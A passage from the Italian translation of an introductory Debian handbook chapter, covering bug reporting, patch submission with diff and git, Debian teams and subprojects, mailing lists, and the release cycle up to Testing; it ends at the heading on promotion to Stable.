Gli utenti possono anche utilizzare lo strumento da riga di comando reportbug. Esso è in grado di verificare che il bug in questione non sia già stato segnalato, impedendone la duplicazione nel sistema. Ricorda all'utente di definire il livello di gravità, in modo che la segnalazione sia il più accurata possibile (lo sviluppatore può perfezionare questi parametri in seguito, se necessario). Aiuta anche a scrivere una segnalazione completa sul bug senza che l'utente debba conoscerne la sintassi precisa, scrivendola e consentendo poi all'utente di modificarla. Questa segnalazione sarà poi inviata attraverso un server di posta elettronica (per impostazione predefinita, un server remoto gestito da Debian, ma reportbug può utilizzare anche un server locale).

Questo strumento si rivolge prevalentemente alle versioni di sviluppo, e con il solo scopo di risolvere i bug. In effetti, i cambiamenti non sono benvenuti in una versione stabile di Debian, con la sola eccezione degli aggiornamenti di sicurezza oppure altri importanti aggiornamenti (se, per esempio, un pacchetto non funziona affatto). La correzione di un bug minore in un pacchetto Debian, aspetterà, perciò, il rilascio della successiva versione stabile.

1.3.2.2. Traduzione e documentazione

Inoltre, i numerosi utenti soddisfatti del servizio offerto da Debian sono interessati a dare un proprio contributo al progetto. Poiché non tutti hanno adeguati livelli di competenza nella programmazione, possono scegliere di aiutare con la traduzione e la revisione della documentazione. Ci sono specifiche mailing list specifiche per varie lingue che coordinano questo lavoro.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

FONDAMENTALI Cosa sono i18n e l10n?

«i18n» e «l10n» solo le abbreviazioni delle parole «internationalization» (internazionalizzazione) e «localization» (localizzazione), ottenute rispettivamente, mantenendo la prima e l'ultima lettera di ogni parola e il numero di lettere nel mezzo.

La «internazionalizzazione» di un programma consiste nel modificarlo in modo tale da poterlo tradurre (localizzarlo). Questo comporta una parziale riscrittura del programma scritto per lavorare in una sola lingua in modo tale da poterlo aprire a tutte le altre lingue.

La «localizzazione» di un programma consiste nel tradurre i messaggi originali (solitamente in inglese) in un'altra lingua. Per questo, deve essere già stato precedentemente internazionalizzato.

In sintesi, l'internazionalizzazione prepara il software per la traduzione, che viene poi realizzata con la localizzazione.

1.3.2.3. Invio di correzioni

Gli utenti più avanzati potrebbero essere in grado di fornire una correzione ad un programma inviando una patch.

Una patch è un file che descrive le modifiche da apportare ad uno o più file di riferimento. In particolare, conterrà la lista delle righe da rimuovere o aggiungere al codice, e (talvolta) le righe ricavate dal testo di riferimento, per permettere di identificare nel contesto la modifica da riportare (permettono l'identificazione della posizione delle modifiche se i numeri di riga dovessero essere cambiati).

Lo strumento utilizzato per applicare le modifiche scritte in questo tipo di file si chiama semplicemente patch. Lo strumento che le crea è chiamato diff, e si utilizza in questo modo:

$ diff -u file.vecchio file.nuovo >file.patch

Il file file.patch contiene le istruzioni per modificare il contenuto del file file.vecchio trasformandolo nel file.nuovo. Possiamo inviarlo a qualcuno, che lo può quindi utilizzare per ricreare file.nuovo dagli altri due, in questo modo:

$ patch -p0 file.vecchio <file.patch

Il file, file.vecchio, è ora identico a file.nuovo.

In pratica, la maggior parte del software è mantenuta nei repository Git ed i collaboratori sono quindi più propensi ad usare git per recuperare il codice sorgente e proporre modifiche. git diff genererà un file nello stesso formato di quello che diff -u farebbe e git apply può fare lo stesso di patch.

CULTURA Git

Git è uno strumento collaborativo che permette di lavorare su più file, permettendo la gestione dello storico delle modifiche. I file in questione sono generalmente file di testo, tipo i sorgenti di un programma. Se più persone lavorano contemporaneamente sullo stesso file, git non può che unire le modifiche apportate solo se sono state fatte a porzioni diverse del file. Altrimenti questi «conflitti» devono essere risolti a mano.

Git è un sistema distribuito dove ogni utente ha un repository con lo storico completo delle modifiche. I repository centrali vengono utilizzati per scaricare il progetto (git clone) e per condividere il lavoro svolto con gli altri (git push). Il repository può contenere più versioni dei file, ma si può lavorare solo una versione alla volta: si chiama copia di lavoro (può essere cambiata per puntare ad un'altra versione con git checkout). Git può mostrare le modifiche apportate alla copia di lavoro (git diff), può organizzare le modifiche per l'inclusione (git add) e può creare una nuova voce nella cronologia versioni (git commit). Può, inoltre, aggiornare la copia di lavoro per includere modifiche effettuate in parallelo da altri utenti (git pull) e può registrare una particolare configurazione nello storico per essere in grado di estrarla facilmente in seguito (git tag).

Git può gestire facilmente più versioni concorrenti di un progetto di sviluppo senza che queste interferiscano tra di loro. Queste versioni sono definite rami. Questa metafora di un albero è piuttosto accurata, dal momento che un programma viene inizialmente sviluppato su un tronco comune. Quando è stata raggiunta una pietra miliare (milestone) (come la versione 1.0), lo sviluppo continua su due rami: il ramo di sviluppo che prepara il prossimo rilascio principale e il ramo di manutenzione che gestisce gli aggiornamenti e correzioni per la versione 1.0.

Git è, al giorno d'oggi, il più pooplare sistema di controllo delle versioni ma non è il solo. Storicamente, CVS (Concurrent Versions System) è stato il primo strumento ampiamente utilizzato ma le sue numerose limitazioni hanno contribuito alla comparsa di alternative più moderne e libere. Queste includono, specialmente, subversion (svn), git, bazaar (bzr), e mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Fornire una spiegazione dettagliata su Git va oltre gli scopi di questo testo, per questo si può fare riferimento al libro Pro Git.

→ https://git-scm.com/book/

Mentre l'output di git diff è un file che può essere condiviso con altri sviluppatori, di solito ci sono modi migliori per inviare le modifiche. Se gli sviluppatori preferiscono ottenere patch via e-mail, solitamente vogliono che tali patch vengano generate con git format-patch in modo che possano essere integrate direttamente nel repository con git am. Questo preserva le meta-informazioni dei commit e rende possibile la condivisione di più commit in una volta sola.

Questo flusso di lavoro basato sulle email è ancora popolare, ma la tendenza è quella di sostituito con merge requests (o pull requests) quando il software è ospitato su una piattaforma come GitHub o GitLab — e Debian sta usando GitLab sul suo server salsa.debian.org. Su questi sistemi, una volta creato un account, si può fare un fork del repository, creando effettivamente una copia del repository nel proprio account, quindi clonando quel repository ed inserendovi le proprie modifiche. Da lì, l'interfaccia web vi suggerirà di inviare una richiesta di fusione, notificando agli sviluppatori le vostre correzioni, facilitando la revisione e l'accettazione delle vostre modifiche con un solo clic.

1.3.2.4. Altri modi per contribuire

Tutti questi meccanismi sono accentuati dal comportamento degli utenti. Lontani dall'essere isolati, gli utenti compongono una vera comunità all'interno della quale si svolgono numerosi scambi. Notiamo in particolare una attività importante sulla mailing list delle discussioni degli utenti, <debian-user@lists.debian.org> (Capitolo 7, Risoluzione dei problemi e reperimento delle principali informazioni descrive la cosa in dettaglio).

→ https://lists.debian.org/users.html

Non solo gli utenti stessi sono di aiuto su argomenti tecnici che li riguardano direttamente, ma discutono anche relativamente ai modi migliori per contribuire al progetto Debian e aiutarlo a progredire — discussioni che spesso portano a proposte di miglioramento.

STRUMENTO come posso aiutare

Il programma how-can-i-help elenca le opportunità per contribuire ai pacchetti Debian che sono installati localmente. Dopo ogni invocazione di APT, mostra i modi per aiutare, evidenziando i bug etichettati come "newcomer" (che sono facili punti d'accesso per nuovi collaboratori) o i pacchetti orfani che hanno bisogno di un nuovo manutentore. Il programma può anche essere eseguito direttamente.

Dal momento che Debian non spende fondi per auto-promuoversi con campagne di marketing, i suoi utenti svolgono un ruolo essenziale nella sua diffusione, garantendo la sua fama attraverso il passaparola.

Questo metodo funziona piuttosto bene, dal momento che i fan di Debian si trovano a tutti i livelli della comunità del software libero: a partire dalle feste di installazione (workshop in cui gli utenti esperti assistono i nuovi arrivati nell'installazione del sistema) organizzate dai locali LUG o «Linux User Group» (gruppi di utenti Linux), fino agli stand di associazioni ai grandi convegni tecnologici che si occupano di Linux, ecc.

I volontari realizzano poster, opuscoli, adesivi ed altro materiale promozionale utili al progetto, che mettono a disposizione di tutti e che Debian fornisce, gratuitamente, sul proprio sito web e sul suo wiki:

→ https://www.debian.org/events/material

1.3.3. Team e sottoprogetti

Debian è organizzata, fin dall'inizio, intorno al concetto di pacchetti sorgenti, ognuno con il suo manutentore o gruppo di manutentori. Nel tempo si sono formati svariati team, che assicurano l'amministrazione delle infrastrutture, la gestione di compiti non specifici di un particolare pacchetto (garanzia della qualità, le Policy Debian, installatore, ecc.), mentre le ultime squadre si sviluppano intorno a sotto-progetti.

1.3.3.1. Sottoprogetti Debian esistenti

A ciascuno la propria Debian! Un sotto-progetto è composto da un gruppo di volontari interessati ad adattare Debian a specifiche esigenze. Al di là della selezione di un sotto-gruppo di programmi destinati ad un settore specifico (istruzione, medicina, creazione multimediale, ecc.), i sotto-progetti sono coinvolti anche nel miglioramento dei pacchetti esistenti, la creazione di pacchetti per il software mancante, l'adattamento del programma di installazione, la creazione di documentazione specifica, e altro ancora.

VOCABOLARIO Sottoprogetti e distribuzioni derivate

Il processo di sviluppo di una distribuzione derivata consiste nell'apportare un certo numero di modifiche ad una particolare versione di Debian. L'infrastruttura utilizzata per questo tipo di lavoro è completamente esterna al progetto Debian. Non è necessariamente rispettata una policy per contribuire ai miglioramenti. Questa differenza spiega come una distribuzione derivata può «divergere» dalle sue origini di Debian, e perché deve regolarmente essere risincronizzata con la propria fonte, al fine di trarre beneficio dai miglioramenti fatti a monte.

D'altra parte, un sottoprogetto non può divergere, poiché tutto il lavoro consiste nel migliorare direttamente Debian per adattarla ad un obiettivo specifico.

La distribuzione più conosciuta derivata da Debian è, senza dubbio, Ubuntu, ma ce ne sono molte altre. Guardare Appendice A, Distribuzioni derivate per conoscerne le caratteristiche ed il loro posizionamento rispetto a Debian.

Questa è una piccola selezione degli attuali sottoprogetti:

- Debian Jr., di Ben Armstrong, offre un sistema Debian attraente e facile da usare dedicato ai bambini;

- Debian Edu, di Petter Reinholdtsen, focalizzata sulla creazione di una distribuzione specializzata per il mondo didattico/accademico;

- Debian Med, di Andreas Tille, dedicata al settore medico;

- Debian Multimedia che si occupa di lavori audio e multimediali;

- Debian GIS che si occupa di applicazioni ed utenti di Sistemi Informativi Geografici;

- Debian Accessibility, migliora Debian cercando di soddisfare le esigenze delle persone con disabilità;

- Debian Science, infine, lavora per fornire a ricercatori e scienziati una migliore esperienza nell'utilizzo di Debian.

- DebiChem, indirizzata alla chimica, fornisce suite e programmi per chimici.

Molto probabilmente il numero di progetti continuerà a crescere con il tempo e mano a mano che la percezione dei vantaggi dei sottoprogetti Debian aumenterà. Essendo completamente supportati dall'infrastruttura Debian esistente, possono in effetti, concentrarsi sul lavoro fornendo un reale valore aggiunto, senza doversi preoccupare della sincronizzazione con Debian, in quanto sono sviluppati all'interno del progetto.

1.3.3.2. Team amministrativi

La maggior parte dei team amministrativi sono piuttosto chiusi e reclutano nuovi volontari solo per cooptazione. Il modo migliore per poter entrare a far parte di uno di questi team è quello di assistere in modo intelligente i componenti attuali, dimostrando di aver capito gli obiettivi ed i metodi operativi del team.

Gli ftpmasters hanno il compito di gestire l'archivio ufficiale dei pacchetti Debian. Essi gestiscono il programma che riceve e memorizza automaticamente i pacchetti trasmessi dagli sviluppatori, dopo alcuni controlli, sul server di riferimento (ftp-master.debian.org).

Essi devono anche verificare le licenze di tutti i nuovi pacchetti, per garantire che Debian possa distribuirli, prima della loro inclusione nell'elenco dei pacchetti esistenti. Quando uno sviluppatore vuole rimuovere un pacchetto, si rivolge a questo team attraverso il sistema di tracciamento dei bug e lo "pseudo-pacchetto" ftp.debian.org.

VOCABOLARIO Lo pseudo-pacchetto, uno strumento di controllo

Il BTS (Bug Tracking System, sistema tracciamento dei bug), inizialmente pensato per associare le segnalazioni di bug ad un pacchetto Debian, si è dimostrato molto pratico anche per gestire altre problematiche: liste di problemi da risolvere o compiti da gestire senza alcun legame con uno specifico pacchetto Debian. Gli "pseudo-pacchetti" permettono, quindi, a certi team di utilizzare il sistema di tracciamento dei bug senza associare un pacchetto vero e proprio al proprio team. Tutti possono, quindi, segnalare i problemi che devono essere affrontati. Ad esempio, il BTS ha una voce ftp.debian.org per fare segnalazioni sull'archivio dei pacchetti ufficiale oppure semplicemente per inoltrare la richiesta di rimozione di un pacchetto. Allo stesso modo, lo pseudo-pacchetto www.debian.org segnala errori sul sito ufficiale Debian, e lists.debian.org raccoglie tutti i problemi riguardanti le mailing list.

STRUMENTO GitLab, Git repository hosting e molto altro

Un'istanza di GitLab, nota come salsa.debian.org, viene utilizzata da Debian per ospitare i repository dei pacchetti Git; tuttavia questo software offre molto di più del semplice hosting e i collaboratori Debian sono stati rapidi nello sfruttare le funzionalità di integrazione continua (esecuzione di test, o persino creazione di pacchetti, ad ogni modifica). I collaboratori Debian beneficiano anche di un flusso di lavoro più pulito grazie al ben compreso processo di richiesta di fusione (simile alle richieste pull di GitHub).

GitLab ha sostituito FusionForge (che girava su un servizio noto come alioth.debian.org) per la manutenzione collaborativa dei pacchetti. Questo servizio è amministrato da Alexander Wirt, Bastian Blank e Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

Il team Debian System Administrators (DSA) (<debian-admin@lists.debian.org>), come ci si potrebbe aspettare, è responsabile dell'amministrazione dei server utilizzati dal progetto. Assicura il funzionamento ottimale di tutti i servizi di base (DNS, Web, e-mail, shell, ecc.), installa i software richiesti dagli sviluppatori Debian e prende tutte le precauzioni necessarie per garantire la sicurezza dei sistemi.

→ https://dsa.debian.org

STRUMENTO Tracciatore dei Pacchetti Debian

Questa è una delle creazioni di Raphaël. L'idea di base è di raccogliere in un'unica pagina il maggior numero di informazioni possibile su di un dato pacchetto. In questo modo, è possibile rapidamente verificare lo stato di un programma, identificare le attività da completare, e offrire la propria assistenza. Per questo motivo questa pagina raccoglie tutte le statistiche dei bug, le versioni disponibili per ogni distribuzione, l'evoluzione di un pacchetto nella distribuzione Testing, lo stato delle traduzioni delle descrizioni e dei modelli debconf, la disponibilità di una eventuale nuova versione a monte, le notifiche di non conformità con l'ultima versione delle Policy Debian, le informazioni sul manutentore, e qualsiasi altra informazione che il manutentore stesso desideri includere.

→ http://packages.qa.debian.org/

Un servizio di iscrizione e-mail completa questa interfaccia web. Invia automaticamente le seguenti informazioni alla lista selezionata: i bug con le relative discussioni, la disponibilità di una nuova versione sui server Debian, le nuove traduzioni pronte per la correzione di bozze, ecc.

Gli utenti avanzati, una volta che hanno capito come funziona, possono quindi seguire tutte queste informazioni da vicino e persino contribuire al progetto.

Un'altra interfaccia web, nota come Debian Developer's Packages Overview (DDPO, Panoramica dei pacchetti degli sviluppatori Debian), fornisce ad ogni sviluppatore una sintesi dello stato di tutti i pacchetti Debian dei quali è incaricato.

→ https://qa.debian.org/developer.php

Questi due siti sono strumenti sviluppati e gestiti da un gruppo (conosciuto come QA) responsabile del controllo qualità all'interno di Debian.

I listmaster amministrano il server di posta che gestisce le mailing list. Essi creano nuove liste, gestiscono i messaggi rimbalzati (segnalazioni di mancata consegna) e mantengono i filtri antispam (e-mail indesiderate).

CULTURA Il traffico sulle mailing list: alcune cifre

Le mailing list sono, senza ombra di dubbio, la miglior testimonianza della vitalità di un progetto, dal momento che tengono traccia di tutto ciò che accade. I numeri (da maggio 2019) per quanto riguarda le nostre mailing list parlano da soli: Debian ospita circa 315 liste, per un totale di oltre 303.000 utenti registrati. Ogni giorno vengono recapitate 227.000 e-mail.

Ogni singolo servizio ha un proprio team di amministrazione, generalmente composto dai volontari che lo hanno installato (e che spesso hanno anche programmato gli stessi strumenti corrispondenti). Questo è il caso del sistema di tracciamento dei bug (BTS), del sistema di tracciamento dei pacchetti, salsa.debian.org (server GitLab, vedi riquadro STRUMENTO GitLab, Git repository hosting e molto altro), i servizi disponibili su qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, ecc.

1.3.3.3. Team di sviluppo, Team trasversali

A differenza dei team amministrativi, quelli di sviluppo sono decisamente più aperti, anche a collaboratori esterni. Anche se Debian non ha una vocazione per creare software, il progetto ha bisogno di alcuni programmi specifici per raggiungere i suoi obiettivi. Naturalmente sviluppati sotto una licenza per software libero, questi strumenti fanno uso di metodi provati in altri settori del mondo del software libero.

Debian ha sviluppato da sé poco software, ma certi programmi hanno assunto un ruolo importante, e la loro fama si è diffusa ben oltre i confini del progetto. Buoni esempi sono dpkg, il programma Debian per la gestione dei pacchetti (è, infatti, l'abbreviazione di Debian PacKaGe, e generalmente si pronuncia "dee-package"), e apt, uno strumento per installare automaticamente qualsiasi pacchetto Debian e i pacchetti dai quali dipende, garantendo la coesione del sistema dopo un aggiornamento (il suo nome è l'acronimo di Advanced Package Tool, Strumento avanzato di gestione dei pacchetti). I loro team sono, tuttavia, molto più piccoli, poiché per la comprensione complessiva delle operazioni svolte da questo tipo di programmi è necessaria una capacità di programmazione di livello piuttosto elevato.

Il team più importante è probabilmente quello del programma di installazione di Debian, debian-installer, che dal suo concepimento nel 2001 ha compiuto un lavoro gigantesco. Sono stati necessari numerosi collaboratori, poiché è veramente difficile scrivere un programma unico in grado di installare Debian su una dozzina di architetture differenti. Ognuna con un proprio meccanismo per l'avvio e un proprio bootloader. Tutto questo lavoro è coordinato dalla mailing list <debian-boot@lists.debian.org>, sotto la direzione di Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

Il team (molto piccolo) del programma debian-cd deve perseguire un obiettivo ancora più modesto. Molti "piccoli" collaboratori sono ognuno responsabile della propria architettura, dal momento che lo sviluppatore principale non può conoscere tutte le particolarità, né il modo esatto per avviare il programma di installazione dal CD-ROM.

Molti team devono collaborare con gli altri in attività di impacchettamento: <debian-qa@lists.debian.org> cerca, ad esempio, di assicurare la qualità del progetto Debian a tutti i livelli. La mailing list <debian-policy@lists.debian.org> sviluppa le Policy Debian secondo tutte le proposte ricevute. I team incaricati di ogni architettura (<debian-architettura@lists.debian.org>) compilano tutti i pacchetti, adattandoli se richiesto, alle particolarità di ogni architettura.

Altri team gestiscono i pacchetti più importanti al fine di garantirne la manutenzione in modo da non assegnare un carico troppo pesante su un solo paio di spalle; questo è il caso della libreria C <debian-glibc@lists.debian.org>, del compilatore C sulla mailing list <debian-gcc@lists.debian.org> oppure di Xorg sulla <debian-x@lists.debian.org> (questo gruppo è anche conosciuto come X Strike Force).

1.4. Segui Debian

Come già accennato, il progetto Debian si evolve in modo molto distribuito, molto organico. Di conseguenza, può essere difficile a volte per rimanere in contatto con ciò che accade all'interno del progetto senza essere sopraffatti da una valanga infinita di notifiche.

Se si desidera ricevere solo le notizie più importanti su Debian, probabilmente ci si dovrebbe iscrivere alla mailing list <debian-announce@lists.debian.org>. Questa una lista con un traffico molto basso (circa una dozzina di messaggi all'anno), e riporta solo annunci importanti, come ad esempio la disponibilità di una nuova versione stabile, l'elezione di un nuovo Capo Progetto, o la Conferenza annuale di Debian.

→ https://lists.debian.org/debian-announce/

Le notizie più generali (e regolari) su Debian sono inviate alla lista <debian-news@lists.debian.org>. Il traffico di questa lista è anche abbastanza ragionevole (di solito una manciata di messaggi al mese) e comprende le "Debian Project News" (Notizie sul Progetto Debian), che sono una raccolta di vari piccoli pezzi di informazioni su ciò che accade nel progetto.

→ https://lists.debian.org/debian-news/

COMUNITÀ Il team della pubblicità

I canali ufficiali di comunicazione di Debian sono gestiti da volontari del team di pubblicità Debian. Essi sono delegati del Capo Progetto Debian e gestiscono notizie ed annunci pubblicati. Molti altri volontari contribuiscono al team, per esempio, scrivendo contenuti per “Notizie sul Progetto Debian”, blog ufficiale Debian (bits.debian.org) o per il servizio di microblogging (micronews.debian.org), che fornisce contenuti ai siti di social networking.

→ https://wiki.debian.org/Teams/Publicity

Per ulteriori informazioni sull'evoluzione di Debian e su ciò che sta accadendo in un determinato momento all'interno di vari team, c'è anche la lista <debian-devel-announce@lists.debian.org>. Come suggerisce il nome stesso, gli annunci di questa lista saranno probabilmente più interessanti per gli sviluppatori, ma permettono alle parti interessate anche di monitorare ciò che accade in termini più concreti di quanto avvenga solo quando viene rilasciata una versione stabile. Mentre <debian-announce@lists.debian.org> fornisce notizie sui risultati visibili all'utente, <debian-devel-announce@lists.debian.org> dà notizie su come questi risultati sono stati raggiunti. Come nota a margine, “d-d-a" (come viene talvolta chiamata) è l'unica lista alla quale gli sviluppatori Debian devono iscriversi.

→ https://lists.debian.org/debian-devel-announce/

Il blog ufficiale di Debian (bits.debian.org) è anche una buona fonte di informazioni. Trasmette la maggior parte delle notizie interessanti che sono pubblicate sulle varie mailing list di cui abbiamo già parlato e altre notizie importanti fornite dai membri della comunità. Dal momento che tutti gli sviluppatori Debian possono contribuire a queste notizie quando pensano di avere qualcosa di degno di nota da rendere pubblico, il blog di Debian fornisce una visione preziosa pur rimanendo piuttosto concentrato sul progetto nel suo complesso.

Una fonte più informale di informazioni si può trovare anche su Pianeta Debian, che raccoglie gli articoli pubblicati da contributori Debian sui rispettivi blog. Anche se i contenuti non riguardano esclusivamente lo sviluppo di Debian, forniscono comunque una visione di ciò che sta accadendo nella comunità e di ciò che i suoi membri stanno facendo in quel momento.

→ https://planet.debian.org/

Il progetto è ben rappresentato sui social network. Debian ha solo una presenza ufficiale su Identi.ca (piattaforma di microblogging fornita da pump.io), ma ci sono alcuni account che ritrasmettono il feed RSS da micronews.debian.org e molti collaboratori Debian che pubblicano su account non ufficiali.

→ https://identi.ca/debian

→ https://fosstodon.org/@debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Il ruolo delle distribuzioni

Una distribuzione GNU/Linux ha due principali obiettivi: installare un sistema operativo libero su un computer (con o senza un sistema già esistente), e fornire una serie di pacchetti software che coprano tutte le esigenze dell'utilizzatore.

1.5.1. L'installatore: debian-installer

Il debian-installer, progettato per essere estremamente modulare in modo da essere il più generico possibile, risponde al primo requisito. Esso prende in considerazione una vasta gamma di situazioni di installazione ed in generale, facilita notevolmente la creazione di un installatore derivato dedicato ad un caso particolare.

Questa modularità, che lo rende anche molto complesso, potrebbe infastidire gli sviluppatori alla scoperta di questo strumento; ma che sia usato in modalità grafica o di testo, l'esperienza utente è comunque molto simile. Sono stati fatti grandi sforzi per ridurre il numero di campi da riempire, il che spiega l'inclusione del software di rilevamento automatico dell'hardware.

È interessante notare che le distribuzioni derivate da Debian differiscono notevolmente in questo aspetto, e forniscono installatori molto più limitati (spesso limitati all'architettura i386 o amd64), ma molto più semplici da usare per i neofiti. D'altra parte, di solito si evita di apportare troppe modifiche ai pacchetti standard di Debian, per beneficiare il più possibile dalla vasta gamma di software offerto senza causare problemi di compatibilità.

1.5.2. La raccolta software

Quantitativamente, Debian in questo senso è innegabilmente il leader, con oltre 28.000 pacchetti sorgenti. Qualitativamente, le policy di Debian ed il lungo periodo di test prima del rilascio di una nuova versione stabile, giustificano la sua reputazione di coerenza e stabilità. Per quanto riguarda la disponibilità, tutto è accessibile on-line attraverso numerosi mirror aggiornati ogni sei ore.

Molti rivenditori vendono DVD-ROM su Internet ad un prezzo molto basso (spesso al costo), le «immagini» dei quali sono in ogni caso liberamente disponibili per essere scaricate. C'è solo uno svantaggio: la bassa frequenza di rilasci di nuove versioni stabili (il loro sviluppo a volte richiede più di due anni), il che ritarda l'inserimento di nuovo software.

La maggior parte dei programmi di software libero viene inserita nella versione di sviluppo, il che permette loro di essere installati. Se questo non richiede troppi aggiornamenti dovuti alle loro dipendenze, i programmi stessi possono anche essere ricompilati per la versione stabile di Debian (vedere Capitolo 15, Creazione di un pacchetto Debian per maggiori informazioni su questo argomento).

1.6. Ciclo di vita di un rilascio

Il progetto manterrà contemporaneamente tre o quattro differenti versioni dello stesso programma, definite Experimental(Sperimentale), Unstable(Instabile), Testing(in test) e Stable(Stabile), Oldstable,ed anche Oldoldstable. Ognuna corrisponde ad una differente fase dello sviluppo. Per capire meglio, diamo un'occhiata al percorso di un programma, dal primo impacchettamento, all'inclusione in una versione stabile di Debian.

VOCABOLARIO Rilascio (Release)

Nel progetto Debian il termine «rilascio» (release) indica una particolare versione della distribuzione (es. «rilascio unstable» significa «la versione non stabile»). Esso indica anche l'annuncio pubblico del lancio di ogni nuova versione (stabile).

1.6.1. Lo stato Experimental (sperimentale)

Prima di tutto diamo un'occhiata al particolare caso della distribuzione Experimental: consiste in un gruppo di pacchetti Debian relativi a software in corso di sviluppo, e come dice il nome non necessariamente completato. Non tutto passa attraverso questa fase, alcuni sviluppatori scelgono di aggiungere i pacchetti in questa versione per ottenere un feedback dagli utenti più esperti (o coraggiosi).

In alternativa, questa distribuzione ospita spesso importanti modifiche ai pacchetti base, la cui integrazione con gravi bug nella versione Unstable avrebbe ripercussioni critiche. Si tratta, dunque, di una distribuzione completamente isolata, i suoi pacchetti non migreranno mai verso un'altra versione (se non per l'intervento esplicito del manutentore o deglii ftpmaster). Inoltre non è autosufficiente: solo un sottoinsieme dei pacchetti esistenti sono presenti nella versione Experimental, e generalmente non include il sistema di base. Questa distribuzione è quindi particolarmente utile in combinazione con un'altra distribuzione, indipendente, come Unstable.

1.6.2. Lo stato Unstable (instabile)

Torniamo al caso di un pacchetto normale. Il manutentore crea un pacchetto iniziale, che compila per la versione Unstable e lo carica sul server ftp-master.debian.org. La prima operazione consiste in un esame e nella convalida da parte degli ftpmaster. Il software risulta disponibile nella distribuzione Unstable che è rischiosa, ma è la "punta di diamante" delle distribuzioni scelte dagli utenti che sono più preoccuapti di avere pacchetti aggiornati che preoccupati per i gravi bug. Scoprono il programma e poi lo testano.

Se incontrano bug, li segnalano al manutentore del pacchetto. Il manutentore prepara regolarmente versioni corrette, che rende disponibili sul server.

Ogni nuovo pacchetto aggiornato è aggiornato su tutti i mirror di Debian sparsi per il mondo in meno di sei ore. Gli utenti provano le correzioni e cercano altri problemi che potrebbero essere stati causati dalle modifiche. Potrebbero susseguirsi rapidamente molti aggiornamenti. Durante questo periodo entrano in azione i robot autobuilder. Spesso, il manutentore dispone di un PC tradizionale ed ha compilato il suo pacchetto sull' architettura amd64 (oppure i386) (oppure hanno optato per un caricamento del solo sorgente, quindi senza alcun pacchetto precompilato); gli autobuilder provvedono automaticamente a compilare le versioni per tutte le altre architetture. Alcune compilazioni potrebbero non andare a buon fine; il manutentore riceverà una segnalazione di bug nella quale vengono riportati gli errori riscontrati, che provvederà a correggere nelle versioni successive. Quando il bug viene scoperto da uno specialista dell'architettura in questione, alla segnalazione del bug potrebbe essere allegata una patch pronta all'uso.

Figura 1.2. Compilazione di un pacchetto con autobuilder

APPROFONDIMENTI buildd, il ricompilatore dei pacchetti Debian

buildd è l'abbreviazione di "build daemon" (demone di compilazione). Questo programma ricompila automaticamente nuove versioni dei pacchetti Debian sulle architetture che lo ospitano (è evitata il più possibile la compilazione-incrociata).

Così, per produrre i file binari per l'architettura arm64, il progetto dispone di macchine arm64. Il programma buildd viene eseguito su di esse continuamente per creare pacchetti binari per arm64 dai pacchetti sorgente inviati dagli sviluppatori di Debian.

Questo software viene utilizzato su tutti i computer che servono autobuilder per Debian. Per estensione, il termine buildd viene usato frequentemente per riferirsi a queste macchine, che sono generalmente riservate esclusivamente per questo scopo.

1.6.3. Migrazione alla Testing (in prova)

Successivamente, il pacchetto sarà maturato; compilato in tutte le architetture, non avrà subito modifiche recenti. Diventa quindi candidato per l'inclusione nella distribuzione Testing: un gruppo di pacchetti della versione Unstable scelti in base ad alcuni criteri quantificabili. Automaticamente ogni giorno un programma seleziona i pacchetti da includere nella Testing, secondo elementi che garantiscono un certo livello di qualità:

1. mancanza di bug critici, o almeno inferiori rispetto a quelli presenti nella versione attualmente inclusa in Testing;

2. trascorsi almeno 5 giorni in Unstable, che di solito è un tempo sufficiente per trovare e segnalare eventuali problemi gravi (superare con successo il gruppo di test del pacchetto, se previsti, riduce i tempi);

3. compilazione riuscita su tutte le architetture ufficialmente supportate;

4. le dipendenze possono essere soddisfatte in Testing o possono almeno esservi trasferite insieme al pacchetto in questione;

5. i test di qualità automatici del pacchetto (autopkgtest) — se definiti — non mostrano alcuna regressione.

Il sistema non è chiaramente infallibile; saltano fuori regolarmente bug critici nei pacchetti inclusi in Testing. Tuttavia, è generalmente efficace e Testing pone molti meno problemi rispetto a Unstable, risultando per molti utenti, un buon compromesso tra novità e stabilità.

NOTA Limitazioni di Testing

Molto interessante in linea di principio, Testing pone alcuni problemi pratici: il groviglio di dipendenze incrociate tra pacchetti è tale che un pacchetto non potrà mai essere trasferito completamente da solo. A causa di tutti i pacchetti collegati a vicenda, è necessario spostarne un numero elevato contemporaneamente, cosa impossibile da fare quando avvengono caricati regolarmente degli aggiornamenti. D'altra parte, lo script che identifica le famiglie dei pacchetti correlati lavora pesantemente per la loro creazione (questo sarebbe un problema NP-competamente (Non Preoccupante), per il quale, fortunatamente, conosciamo alcune buone tecniche euristiche). Per questo motivo possiamo interagire con questo script e guidarlo suggerendogli gruppi di pacchetti, o imponendo l'inclusione di alcuni pacchetti in un gruppo, acnhe se questo dovesse interrompere momentaneamente alcune dipendenze. Questa funzionalità è accessibile ai Release Manager ed ai loro assistenti.

Ricordiamo che un problema NP-completo è di una complessità algoritmica esponenziale secondo la dimensione dei dati, nel nostro caso sono la lunghezza del codice (il numero di cifre) e gli elementi coinvolti. L'unico modo per risolverlo sarebbe di esaminare tutte le possibili configurazioni, cosa che richiederebbe dei mezzi enormi. Una soluzione euristica è più approssimativa, ma abbastanza soddisfacente.

COMUNITÀ Il Release Manager

Release Manager è un titolo importante, associato a pesanti responsabilità. Il titolare di questo incarico deve, in effetti, gestire il rilascio di una nuova versione stabile di Debian, e definire il processo per lo sviluppo della Testing fino a che non soddisfa i criteri di qualità per essere Stable. Definisce inoltre un calendario provvisorio (non sempre rispettato).

Abbiamo anche degli Stable Release Manager, spesso abbreviato con SRM, che gestiscono e selezionano gli aggiornamenti per l'attuale versione stabile di Debian. Includono sistematicamente le patch di sicurezza ed esaminano tutte le altre proposte di inclusione, inviate dagli sviluppatori di Debian desiderosi di aggiornare il loro pacchetto nella versione stabile, caso per caso.

1.6.4. La promozione da Testing a Stable

